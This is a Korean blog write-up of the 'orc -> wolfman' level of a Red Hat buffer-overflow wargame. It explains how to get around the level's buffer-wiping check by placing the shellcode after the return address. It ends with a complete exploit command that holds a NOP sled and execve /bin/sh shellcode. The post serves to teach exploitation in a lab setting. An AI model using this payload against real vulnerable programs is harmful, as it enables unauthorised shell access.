BOF redhat 원정대 orc -> wolfman
wolfman, wolfman.c
이전 문제에서 추가된 부분은 buffer hunter부분으로 strcpy이후 버퍼를 40바이트 초기화 시켜 버퍼안에 쉘코드를 넣는다면 쉘코드가 초기화 될 수 있다.
argv를 1개 이상 받을 수 있고 RET가 \xbf로 시작해야지 한다. 이 조건을 충족하면 문자열 길이를 검사하지 않는 strcpy를 이용하여 RET를 덮을 수 있다.
buffer hunter 때문에 쉘코드를 입력값에 앞부분 40바이트에 넣을 수 없다. 뒤에 넣자.
[버퍼][SFP][RET]
[ 버퍼 ][RET][쉘코드]
이렇게 작성하고 RET를 쉘코드 있는 주소로 덮으면 공격에 성공 할 수 있다.
A 44개로 정상적인 버퍼와 SFP를 덮는다 RET에는 bfbfbfbf를 넣어 조건을 충족시킨다.
그리고 B를 24개 넣어서 쉘코드가 들어갈 주소를 확인해보았다. 쉘코드가 들어갈 시작주소는 0xbffffae0다.
성공 확률을 높이기 위해서 놉을 50 개넣고 공격을 실행해 보았다.
공격이 성공 하여 쉘을 얻을 수 있었다.
쉘코드 :
./wolfman `python -c 'print "A"*44 + "\xe0\xfa\xff\xbf" + "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Categories
- programming (17)
- security (46)
- study (22)
- system (35)
Recent 7 Days Popular Posts
-
프로그램은 실행하면서 많은 함수를 호출한다. 함수가 호출되고 호출받은 함수가 실행되려면 레지스터와 스택을 사용해야 한다. 버퍼오버플로우 공격을 공부하면서 호출된 함수가 어떻게 esp (스택을 관리하는 레지스터)를 백업하는지 어떻게 스택을 독립적으로 ...
-
$(HOME)/.gdbinit을 생성하면 gdb가 실행될 때 .gdbinit을 불러옴으로 스크립트를 적용시킬 수 있다. ARM 어셈을 처음다루어 라인바이라인으로 분석해 보기위해 몇 가지 스크립트를 작성하였다. .gdbinit ...
-
UBUNUT SSH 서버에 접속 시도를 하면 로그인이 성공하기 전에 뜨는 배너와 로그인이 성공한 후에 뜨는 메세지가 있다. id, pw를 입력하기 전에 뜨는 배너는 디폴트 값으로 /etc/issue.net 을 읽어온다. issue.net 안...
-
라이브러리 로딩 - ld.so.conf 라이브러리란 무엇인가? 프로그램에서 공통으로 사용할 수 있는 기능을 포함하고 있는 오브젝트 파일이다. 동적 라이브러리란 무엇인가? 프로그램을 컴파일하여 생성되는 바이너리에 포함하지 않고 바이너리가...
-
Calling Convection 함수호출규약 은 함수(subroutine, callee)가 어떻게 인자를 전달받고 결과값을 반환하는지에 대한 로우레벨에서의 규칙이다. 다양하게 구현된 함수호출규약들은 파라미터의 위치, 리턴 값이나 리턴 ...
좋은 내용 감사합니다 하지만 목차가 불편하군요 즹구찡
답글삭제